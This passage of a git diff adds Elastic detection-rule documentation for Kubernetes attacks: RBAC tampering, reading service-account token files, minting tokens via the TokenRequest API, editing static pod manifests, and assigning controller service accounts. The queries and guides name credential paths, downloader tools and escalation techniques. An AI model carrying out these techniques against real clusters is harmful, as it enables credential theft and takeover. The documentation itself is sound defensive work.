around the same time to see whether the modified role was bound to the same principal or a newly created service account. +- Inspect the subsequent DaemonSet/Deployment/CronJob spec changes for malicious indicators such as new images, added initContainers, elevated securityContext (privileged/hostPID/hostNetwork), hostPath mounts, or suspicious command/args. +- Correlate pod runtime activity from the modified workload (image pulls, container starts, outbound connections, and access to secrets/configmaps) to confirm execution and scope of impact. +- Validate the actor’s legitimacy by checking whether the request originated from expected IP/user-agent and whether the identity is associated with approved CI/CD automation or an unusual interactive session. + + +*False positive analysis* + + +- A platform engineer performing an urgent, legitimate RBAC adjustment (e.g., expanding a Role/ClusterRole for a new feature rollout) and then immediately patching or deploying a DaemonSet/Deployment/CronJob as part of the same change window can match this sequence. +- A CI/CD pipeline or GitOps-style workflow using a non-system:masters identity may update RBAC manifests and then apply workload updates within minutes during routine releases, producing this pattern without malicious intent. + + +*Response and remediation* + + +- Immediately revoke or roll back the risky Role/ClusterRole changes and remove any new/updated RoleBinding/ClusterRoleBinding that ties the elevated permissions to the triggering user or service account. +- Quarantine the modified Deployment/DaemonSet/CronJob by scaling it to zero or deleting it and cordon/drain affected nodes if pods ran privileged, used hostPath mounts, or executed on many nodes. +- Rotate credentials and access paths exposed through the workload (service account tokens, kubeconfig files, mounted secrets, cloud keys) and invalidate any newly issued tokens tied to the actor. +- For eradication and recovery, redeploy workloads from trusted Git/registry sources, block the suspicious images/digests in admission controls, and verify no persistence remains via CronJobs, DaemonSets, webhook configurations, or additional RBAC bindings. +- Escalate to incident response and platform leadership if the RBAC change included wildcard permissions or escalation verbs, if the workload ran privileged/hostNetwork/hostPID, or if sensitive secrets were accessed or exfiltration is suspected. +- Harden by enforcing least-privilege RBAC, requiring peer approval for RBAC changes, restricting workload mutations via GitOps-only service accounts, and using admission policies to deny privileged pods, hostPath mounts, and unapproved registries. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=5m + [any where data_stream.dataset == "kubernetes.audit_logs" and + `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and + kubernetes.audit.objectRef.resource in ("roles", "clusterroles") and + kubernetes.audit.verb in ("create", "update", "patch") and + /* GitOps controllers reconcile RBAC then workloads in the same window */ + not user.name in ( + "system:serviceaccount:flux-system:kustomize-controller", + "system:serviceaccount:flux-system:helm-controller", + "system:serviceaccount:flux-system:source-controller" + )] + [any where data_stream.dataset == "kubernetes.audit_logs" and + `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and + kubernetes.audit.objectRef.resource in ("daemonsets", "deployments", "cronjobs") and + kubernetes.audit.verb in ("create", "patch") and + /* reduce control-plane / bootstrap noise */ + not kubernetes.audit.user.groups == "system:masters" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-service-account-modified-rbac-objects.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-service-account-modified-rbac-objects.asciidoc new file mode 100644 index 0000000000..0d14e6dee8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-service-account-modified-rbac-objects.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-kubernetes-service-account-modified-rbac-objects]] +=== Kubernetes Service Account Modified RBAC Objects + +Detects write operations performed by Kubernetes service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse, misconfigured permissions, or unauthorized privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Service Account Modified RBAC Objects* + + +This rule detects Kubernetes service accounts performing allowed write actions on RBAC resources such as Roles and RoleBindings, which is atypical because service accounts rarely administer permissions. It matters because stolen or over-privileged service account tokens can silently alter authorization to gain or retain elevated access across the cluster. An attacker commonly uses a compromised workload’s token to create or patch a binding that grants cluster-admin privileges to their service account for persistent control. + + +*Possible investigation steps* + + +- Retrieve the full audit event and diff the before/after RBAC object to identify newly granted subjects, verbs, resources, and cluster-admin or wildcard permissions. +- Trace the acting service account to its owning workload (Deployment/Pod) and node, then review recent image changes, restarts, exec sessions, and container logs around the event time for compromise indicators. +- Determine whether the change is attributable to an expected controller or GitOps/CI automation by correlating with change tickets, pipeline runs, and repository commits for RBAC manifests. +- Validate whether the service account token may be abused by checking for unusual API access patterns, source IPs/user agents, and cross-namespace activity compared to its baseline behavior. +- Contain if suspicious by reverting the RBAC change, rotating the service account token (and any mounted secrets), and tightening the service account’s Role/ClusterRole to least privilege. + + +*False positive analysis* + + +- A platform automation running in-cluster (e.g., a controller or CI job using a service account) legitimately applies RBAC manifests during routine deployment, upgrades, or namespace onboarding, resulting in create/patch/update of Roles or RoleBindings. +- A Kubernetes operator or housekeeping workflow running under a service account intentionally adjusts RBAC as part of maintenance (e.g., rotating access, reconciling drift, or cleaning up obsolete bindings) and triggers allowed delete or update actions on RBAC resources. + + +*Response and remediation* + + +- Immediately remove or quarantine the offending service account by deleting its RoleBindings/ClusterRoleBindings and restarting or scaling down the owning workload to stop further RBAC writes. +- Revert the unauthorized RBAC object changes by restoring the last known-good Roles/Bindings from GitOps/manifests (or `kubectl rollout undo` where applicable) and verify no new subjects gained wildcard or cluster-admin-equivalent access. +- Rotate credentials by recreating the service account or triggering token re-issuance, deleting any mounted legacy token secrets, and redeploying workloads to ensure old tokens cannot be reused. +- Hunt and eradicate persistence by searching for additional recently modified RBAC objects and newly created service accounts in the same namespaces, then remove unauthorized accounts/bindings and scan the implicated container images for backdoors. +- Escalate to incident response and cluster administrators immediately if any change grants `cluster-admin`, introduces `*` verbs/resources, or binds a service account to privileged ClusterRoles across namespaces. +- Harden going forward by enforcing least-privilege RBAC, enabling admission controls to restrict RBAC modifications to approved identities/namespaces, and using short-lived projected service account tokens with workload identity constraints. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.user.username:( + system\:serviceaccount\:* and not ( + "system:serviceaccount:kube-system:clusterrole-aggregation-controller" or + "system:serviceaccount:kube-system:generic-garbage-collector" + ) +) and +kubernetes.audit.objectRef.resource:("clusterrolebindings" or "clusterroles" or "rolebindings" or "roles") and +kubernetes.audit.verb:("create" or "delete" or "patch" or "update") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-service-account-secret-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-service-account-secret-access.asciidoc new file mode 100644 index 0000000000..5795772607 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-service-account-secret-access.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-34-kubernetes-service-account-secret-access]] +=== Kubernetes Service Account Secret Access + +This rule detects when a process accesses Kubernetes service account secrets. Kubernetes service account secrets are files that contain sensitive information used by applications running in Kubernetes clusters to authenticate and authorize access to the cluster. These secrets are typically mounted into pods at runtime, allowing applications to access them securely. Unauthorized access to these secrets can lead to privilege escalation, lateral movement and unauthorized actions within the cluster. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* Domain: Kubernetes +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Service Account Secret Access* + + +Kubernetes service account secrets are crucial for authenticating applications within clusters, providing access to necessary resources. Adversaries may exploit these secrets to escalate privileges or move laterally within the cluster. The detection rule identifies unauthorized access by monitoring processes that interact with secret file paths or specific secret files, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process command line and working directory to confirm if the access to the service account secrets was expected or authorized. Check for any known applications or scripts that should have access to these paths. +- Investigate the user or service account under which the process was executed to determine if it has legitimate reasons to access the Kubernetes service account secrets. +- Examine the process arguments, specifically looking for access to files like "ca.crt", "token", and "namespace", to understand the nature of the access and whether it aligns with normal operations. +- Check the history of the process and any associated processes to identify if there are any patterns of unauthorized access or if this is an isolated incident. +- Correlate the event with other logs or alerts from the same host or cluster to identify any signs of privilege escalation or lateral movement attempts. +- Assess the risk score and severity in the context of the environment to prioritize the investigation and response actions accordingly. + + +*False positive analysis* + + +- Routine access by system processes or monitoring tools can trigger false positives. Identify these processes and create exceptions to prevent unnecessary alerts. +- Automated scripts or applications that regularly access service account secrets for legitimate purposes may be flagged. Review these scripts and whitelist them if they are verified as non-threatening. +- Development and testing environments often have processes accessing service account secrets as part of normal operations. Exclude these environments from the rule or adjust the rule's scope to focus on production environments. +- Frequent access by container orchestration tools or agents that manage Kubernetes clusters can be mistaken for unauthorized access. Ensure these tools are recognized and excluded from triggering alerts. +- Scheduled jobs or cron tasks that interact with service account secrets for maintenance or updates might be flagged. Validate these tasks and add them to an exception list if they are part of regular operations. + + +*Response and remediation* + + +- Immediately isolate the affected pod or container to prevent further unauthorized access or lateral movement within the cluster. +- Revoke and rotate the compromised service account credentials to prevent further misuse. Ensure that new credentials are securely distributed and stored. +- Conduct a thorough review of access logs to identify any unauthorized actions or data access that occurred using the compromised credentials. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on the cluster and associated resources. +- Implement network segmentation and access controls to limit the exposure of sensitive secrets and reduce the risk of unauthorized access in the future. +- Enhance monitoring and alerting for unusual access patterns to Kubernetes service account secrets to detect similar threats promptly. +- Review and update Kubernetes security policies to enforce least privilege access and ensure that service accounts have only the necessary permissions for their intended functions. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.command_line like ( + "*/run/secrets/kubernetes.io/serviceaccount*", + "*/var/run/secrets/kubernetes.io/serviceaccount*", + "*/secrets/kubernetes.io/serviceaccount*" + ) or ( + process.working_directory like ( + "/run/secrets/kubernetes.io/serviceaccount", + "/var/run/secrets/kubernetes.io/serviceaccount", + "/secrets/kubernetes.io/serviceaccount" + ) and + process.args in ("ca.crt", "token") + ) +) and +not ( + process.command_line like "*/bin/test*" or + process.args in ( + "/var/run/secrets/kubernetes.io/serviceaccount/namespace", + "/run/secrets/kubernetes.io/serviceaccount/namespace", + "/secrets/kubernetes.io/serviceaccount/namespace" + ) or + process.command_line == "/usr/bin/coreutils --coreutils-prog-shebang=cat /usr/bin/cat /var/run/secrets/kubernetes.io/serviceaccount/token" or + process.parent.command_line == "runc init" or + (process.parent.name == "px-oci-mon" and process.name == "rsync") or + ( + process.parent.command_line == "sh /install-cni.sh" and + process.working_directory like ( + "/opt/cni/bin", "/run/containerd/io.containerd.runtime.v2.task/k8s.io/*/opt/cni/bin" + ) + ) or + (process.working_directory like "/home/runner/_work/*" and process.parent.args like "/home/runner/_work/_temp/*.sh") or + process.working_directory == "/opt/cni/bin" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-service-account-token-created-via-tokenrequest-api.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-service-account-token-created-via-tokenrequest-api.asciidoc new file mode 100644 index 0000000000..ae6ec4cbcd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-service-account-token-created-via-tokenrequest-api.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-kubernetes-service-account-token-created-via-tokenrequest-api]] +=== Kubernetes Service Account Token Created via TokenRequest API + +Detects the creation of a Kubernetes service account token through the TokenRequest API by a non-system identity. The TokenRequest API allows users and workloads to programmatically generate short-lived tokens for any service account they have create permissions on, without accessing the filesystem or the mounted projected token. Attackers who have gained initial access to a cluster can abuse this API to mint tokens for more privileged service accounts, pivot to cloud provider resources via IRSA/workload identity, or generate long-lived tokens that persist beyond pod termination. Unlike mounted service account tokens which are detectable through file access monitoring, tokens created via the TokenRequest API leave no filesystem footprint, they are only visible in Kubernetes audit logs as a create verb on the serviceaccounts/token subresource. This rule excludes legitimate system components such as the kubelet, kube-controller-manager, and cloud provider managed identities (EKS, AKS, GKE) that routinely create tokens for pod lifecycle management. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-v1/ +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Service Account Token Created via TokenRequest API* + + +This alert indicates a successful `create` against the `serviceaccounts/token` subresource (TokenRequest API), which +issues a new service account token without a filesystem read. In EKS and other managed clusters, this can be abused to +mint tokens for more privileged service accounts (including IRSA-linked ones) and pivot to cloud APIs. + + +*What to review first* + + +- Actor and origin: + - `user.name` / `kubernetes.audit.user.username` + - `source.ip` / `kubernetes.audit.sourceIPs` + - `user_agent.original` / `kubernetes.audit.userAgent` + - For cloud identity, review `kubernetes.audit.user.extra.*` (e.g., `arn`, `principalId`). +- Targeted service account: + - `kubernetes.audit.objectRef.namespace` and `kubernetes.audit.objectRef.name` + - `kubernetes.audit.requestURI` (should resemble `/api/v1/namespaces//serviceaccounts//token`) +- Token issuance hints: + - `kubernetes.audit.annotations.authentication_kubernetes_io/issued-credential-id` (token JTI/issued credential id) + + +*Scoping* + + +- Identify which Role/ClusterRoleBindings grant the actor `create` on `serviceaccounts/token` in the affected namespace. +- Pivot on the same `user.name` and `source.ip` for follow-on secret reads, pod exec, RBAC changes, or cloud API calls. + + +*Response and remediation* + + +- If unauthorized, remove/revert the RBAC permission that allows TokenRequest (`serviceaccounts/token`) and rotate the + affected service account credentials where applicable. +- For IRSA/workload identity cases, rotate/revoke the cloud role session pathways and review cloud audit logs for API + activity from the time window of the token mint. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.verb:"create" and +kubernetes.audit.objectRef.resource:"serviceaccounts" and +kubernetes.audit.objectRef.subresource:"token" and +user.name:(* and not + (system\:kube-controller-manager or + system\:kube-scheduler or + system\:node\:* or + system\:serviceaccount\:kube-system\:* or + eks\:* or + aksService or + aks-service or + masterclient or + nodeclient or + system\:serviceaccount\:gke-managed-system\:* or + system\:serviceaccount\:gke-connect\:* or + system\:serviceaccount\:anthos-identity-service\:* or + system\:gke-controller-manager or + system\:serviceaccount\:tigera-operator\:* or + system\:serviceaccount\:calico-system\:*)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-static-pod-manifest-file-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-static-pod-manifest-file-access.asciidoc new file mode 100644 index 0000000000..2fbc9c4980 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-static-pod-manifest-file-access.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-kubernetes-static-pod-manifest-file-access]] +=== Kubernetes Static Pod Manifest File Access + +Detects Linux process executions where shells, editors, interpreters, or file/stream utilities reference /etc/kubernetes/manifests in process arguments. That directory holds static pod manifests read by the kubelet; interaction via editors, downloaders, kubectl, redirection helpers (tee, dd), or scripting runtimes may indicate staging or tampering with manifests for persistence or privileged workload placement. Pairs with file-telemetry rules that flag direct manifest creation on container workloads. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/ +* https://attack.mitre.org/techniques/T1053/007/ + +*Tags*: + +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Domain: Endpoint +* Domain: Kubernetes +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Static Pod Manifest File Access* + + +Review the full command line (process.args, process.command_line), user.id, user.name, process.parent, and whether the +session was interactive. Confirm if the host is a Kubernetes node or admin jump host where manifest edits are expected. + + +*Possible investigation steps* + + +- Compare activity to change windows and identity baselines; prioritize events without matching change tickets. +- Inspect subsequent process and file events on the same host for writes under /etc/kubernetes/manifests or kubelet + restarts. +- Correlate with Kubernetes audit logs and node/agent telemetry for related compromise indicators. + + +*Response and remediation* + + +- If unauthorized, restore manifests from known-good sources, isolate the host, and review cluster integrity per incident + policy. + + +==== Setup + + + +*Setup* + + +Requires **Elastic Defend** and/or **Auditd Manager** process telemetry (`logs-endpoint.events.process*`, +`logs-auditd_manager.auditd-*`, `auditbeat-*`) with command-line argument capture for exec events. + + +*Elastic Defend* + +Install the Elastic Defend integration via Fleet on Linux hosts and use a policy that collects process events with +arguments. + + +*Auditd Manager* + +Deploy Auditd Manager and ensure execve (or equivalent process) auditing is enabled so `process.args` and +`process.executable` populate for monitored binaries. + +See https://docs.elastic.co/integrations/auditd_manager + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.action:(exec or executed) and +process.name:( + bash or sh or dash or zsh or + cat or cp or mv or touch or tee or dd or + sed or awk or + curl or wget or scp or + vi or vim or nano or echo or + busybox or + python* or perl* or ruby* or node or lua* or + openssl or base64 or xxd or + .*) and + process.args:(*/etc/kubernetes/manifests/* and not (/etc/kubernetes/manifests/etcd* or /etc/kubernetes/manifests/kube-apiserver* or /etc/kubernetes/manifests/kube-scheduler* or /etc/kubernetes/manifests/kube-controller-manager*)) and + not (process.args :printf* and process.working_directory :/home/*-svc-nessus) and + not process.parent.executable :("/opt/nessus/sbin/nessusd" or "/opt/nessus_agent/sbin/nessus-agent-module") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Container Orchestration Job +** ID: T1053.007 +** Reference URL: https://attack.mitre.org/techniques/T1053/007/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Container Service +** ID: T1543.005 +** Reference URL: https://attack.mitre.org/techniques/T1543/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-suspicious-assignment-of-controller-service-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-suspicious-assignment-of-controller-service-account.asciidoc new file mode 100644 index 0000000000..53f81dfa7e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-suspicious-assignment-of-controller-service-account.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-kubernetes-suspicious-assignment-of-controller-service-account]] +=== Kubernetes Suspicious Assignment of Controller Service Account + +This rule detects a request to attach a controller service account to an existing or new pod running in the kube-system namespace. By default, controllers running as part of the API Server utilize admin-equivalent service accounts hosted in the kube-system namespace. Controller service accounts aren't normally assigned to running pods and could indicate adversary behavior within the cluster. An attacker that can create or modify pods or pod controllers in the kube-system namespace, can assign one of these admin-equivalent service accounts to a pod and abuse their powerful token to escalate privileges and gain complete cluster control. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Suspicious Assignment of Controller Service Account* + + +Kubernetes uses service accounts to manage pod permissions, with controller service accounts in the kube-system namespace having elevated privileges. Adversaries may exploit this by assigning these accounts to pods, gaining admin-level access. The detection rule identifies such suspicious assignments by monitoring audit logs for pod creation events in the kube-system namespace with controller service accounts, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the audit logs to confirm the presence of a "create" event for a pod in the "kube-system" namespace with a service account name containing "controller". +- Identify the source of the request by examining the user or service account that initiated the pod creation event in the audit logs. +- Check the history of the involved service account to determine if it has been used in any other suspicious activities or unauthorized access attempts. +- Investigate the pod's configuration and associated resources to understand its purpose and whether it aligns with expected operations within the cluster. +- Assess the potential impact by evaluating the permissions and roles associated with the controller service account assigned to the pod. +- Review recent changes or deployments in the "kube-system" namespace to identify any unauthorized modifications or anomalies. + + +*False positive analysis* + + +- Routine maintenance tasks in the kube-system namespace may involve creating or modifying pods with elevated service accounts. Review the context of such actions to determine if they are part of scheduled maintenance or updates. +- Automated deployment tools might temporarily assign controller service accounts to pods for configuration purposes. Verify if these actions align with known deployment processes and consider excluding these specific tools from triggering alerts. +- Legitimate testing or debugging activities by cluster administrators could involve using controller service accounts. Ensure these activities are documented and consider creating exceptions for known testing environments. +- Some monitoring or logging solutions might require elevated permissions and could inadvertently trigger this rule. Validate the necessity of these permissions and whitelist these solutions if they are deemed non-threatening. +- Regularly review and update the list of known benign service account assignments to ensure that only unexpected or unauthorized assignments are flagged. + + +*Response and remediation* + + +- Immediately isolate the affected pod by cordoning the node it is running on to prevent further scheduling of pods and drain the node if necessary to stop the pod from executing. +- Revoke the service account token associated with the suspicious pod to prevent further unauthorized access or actions using the compromised credentials. +- Conduct a thorough review of recent changes in the kube-system namespace to identify unauthorized modifications or deployments, focusing on the creation and modification of pods and service accounts. +- Reset credentials and rotate keys for any service accounts that may have been compromised to ensure that any stolen credentials are rendered useless. +- Implement network policies to restrict pod-to-pod communication within the kube-system namespace, limiting the potential lateral movement of an attacker. +- Escalate the incident to the security operations team for further investigation and to determine if additional clusters 